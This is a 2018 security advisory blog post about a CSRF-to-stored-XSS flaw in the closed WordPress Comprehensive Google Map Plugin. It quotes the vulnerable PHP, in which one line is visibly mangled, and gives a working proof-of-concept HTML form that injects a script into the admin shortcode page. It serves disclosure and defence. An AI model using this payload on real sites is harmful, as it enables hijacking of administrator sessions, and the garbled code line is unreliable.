17 Dec 2018

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Comprehensive Google Map Plugin

Yesterday one of the 1,000 most popular WordPress plugins in the Plugin Directory, Comprehensive Google Map Plugin, was closed. No reason has been given for that.

The plugin does display this message “Attention: the development and maintenance of the “Comprehensive Google Map Plugin” has been discontinued!”, so that might explain the closure. In taking a look over the plugin though we found a fairly obvious security issue and it looks like there are other vulnerabilities in the latest version.

When building new shortcodes through the plugin there is a lack of protection against cross-site request forgery (CSRF), which can be used to cause a logged in user with the Administrator role to cause cross-site scripting (XSS) to occur on the plugin’s Saved Shortcodes admin page without that user intending it.

Technical Details

When visiting the plugin’s Shortcode Builder page the function cgmp_shortcodebuilder_callback() is run, which is located in the file /admin-menu.php. That will first check if the user has the “activate_plugins” capability, which normally only Administrators have. It will run code to save a newly submitted shortcode to the plugin’s settings:

215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
function cgmp_shortcodebuilder_callback() {
 
	if (!current_user_can('activate_plugins'))  {
			wp_die( __('You do not have sufficient permissions to access this page.') );
	}
 
	if (isset($_POST['hidden-shortcode-code']))  {
 
		$bad_entities = array(""", "'", "'");
		$title = str_replace($bad_entities, "", $_POST['hidden-shortcode-title']);
		$title = preg_replace('/\s+/', ' ', trim($title));
		$code = str_replace($bad_entities, "", $_POST['hidden-shortcode-code']);
 
		$shortcodes = array();
 
		$persisted_shortcodes_json = get_option(CGMP_PERSISTED_SHORTCODES);
		if (isset($persisted_shortcodes_json) && trim($persisted_shortcodes_json) != "") {
			$persisted_shortcodes = json_decode($persisted_shortcodes_json, true);
			if (is_array($persisted_shortcodes)) {
				$persisted_shortcodes[$title] = array("title" => $title, "code" => $code);
				$shortcodes = $persisted_shortcodes;
			}
		} else {
			$shortcodes[$title] = array("title" => $title, "code" => $code);
		}
 
		update_option(CGMP_PERSISTED_SHORTCODES, json_encode($shortcodes));

The only sanitization done with the title of the new shortcode is remove usage of single and double quotes, which doesn’t prevents XSS.

There is no check for a valid nonce, so CSRF is possible.

Then when the title is output on Saved Shortcodes page it output without being escaped as shown in the proof of concept below.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown when visiting /wp-admin/admin.php?page=cgmp-saved-shortcodes, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]”/wp-admin/admin.php?page=cgmp-shortcodebuilder" method="POST">
<input type="hidden" name="hidden-shortcode-title" value='<script>alert(document.cookie);</script>' />
<input type="hidden" name="hidden-shortcode-code" value='test' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Need Continued Support for a Closed Plugin?

Does your website depend on a WordPress plugin that is no longer being supported by the original developer? With our Abandoned WordPress Plugin Maintenance Service, we can maintain the plugin for you, so you can safely use the plugin going forward.

Leave a Reply

Your email address will not be published.